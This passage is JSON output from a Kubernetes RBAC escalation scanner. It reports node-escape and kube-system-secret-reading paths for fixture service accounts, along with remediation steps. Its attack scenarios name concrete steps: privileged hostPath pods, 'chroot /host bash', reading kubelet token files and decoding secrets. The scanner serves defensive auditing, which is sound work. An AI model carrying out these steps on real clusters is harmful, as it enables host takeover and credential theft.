      "detail": "Source `ServiceAccount/rbac-fixtures/sa-wildcard` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-wildcard` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-wildcard`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-wildcard`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-wildcard` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-wildcard` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-wildcard",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/secrets-bundle/cross-ns-reader:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/secrets-bundle/cross-ns-reader` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/secrets-bundle/cross-ns-reader` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/secrets-bundle/cross-ns-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cross-ns-reader",
      "namespace": "secrets-bundle"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/secrets-bundle/cross-ns-reader` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/secrets-bundle/cross-ns-reader` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/secrets-bundle/cross-ns-reader`.",
      "Acting as `ServiceAccount/secrets-bundle/cross-ns-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/secrets-bundle/cross-ns-reader` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/secrets-bundle/cross-ns-reader` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cross-ns-reader",
          "namespace": "secrets-bundle"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/statusspoof-fixtures/default:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/statusspoof-fixtures/default` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/statusspoof-fixtures/default` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/statusspoof-fixtures/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod statusspoof-fixtures/statusspoof-api-ff8647558-wd82j falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "statusspoof-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/statusspoof-fixtures/default` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/statusspoof-fixtures/default` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/statusspoof-fixtures/default`.",
      "Acting as `ServiceAccount/statusspoof-fixtures/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod statusspoof-fixtures/statusspoof-api-ff8647558-wd82j falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/statusspoof-fixtures/default` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/statusspoof-fixtures/default` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "statusspoof-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod statusspoof-fixtures/statusspoof-api-ff8647558-wd82j falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/foothold-exec/foothold-reader:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.45,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/foothold-exec/foothold-reader` can read **kube-system Secrets** in 1 hop(s)",
    "description": "Subject `ServiceAccount/foothold-exec/foothold-reader` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-reader",
      "namespace": "foothold-exec"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/foothold-exec/foothold-reader` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/foothold-exec/foothold-reader`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. read_secrets [get,list secrets]"
      ],
      "first_action": "read_secrets",
      "hop_count": 1,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `get,list secrets` that enables the first hop (`ServiceAccount/foothold-exec/foothold-reader` → `/`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `get,list secrets` that enables the first hop (`ServiceAccount/foothold-exec/foothold-reader` → `/`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "foothold-reader-secrets",
        "source_role": "foothold-reader-secrets",
        "binding_namespace": "kube-system"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/foothold-fixtures/foothold-quiet:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.45,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/foothold-fixtures/foothold-quiet` can read **kube-system Secrets** in 1 hop(s)",
    "description": "Subject `ServiceAccount/foothold-fixtures/foothold-quiet` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/foothold-fixtures/foothold-quiet` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-quiet",
      "namespace": "foothold-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/foothold-fixtures/foothold-quiet` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/foothold-fixtures/foothold-quiet`.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-quiet`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. read_secrets [get,list secrets]"
      ],
      "first_action": "read_secrets",
      "hop_count": 1,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `get,list secrets` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-quiet` → `/`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `get,list secrets` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-quiet` → `/`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-quiet",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "foothold-quiet-secrets",
        "source_role": "foothold-quiet-secrets",
        "binding_namespace": "kube-system"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
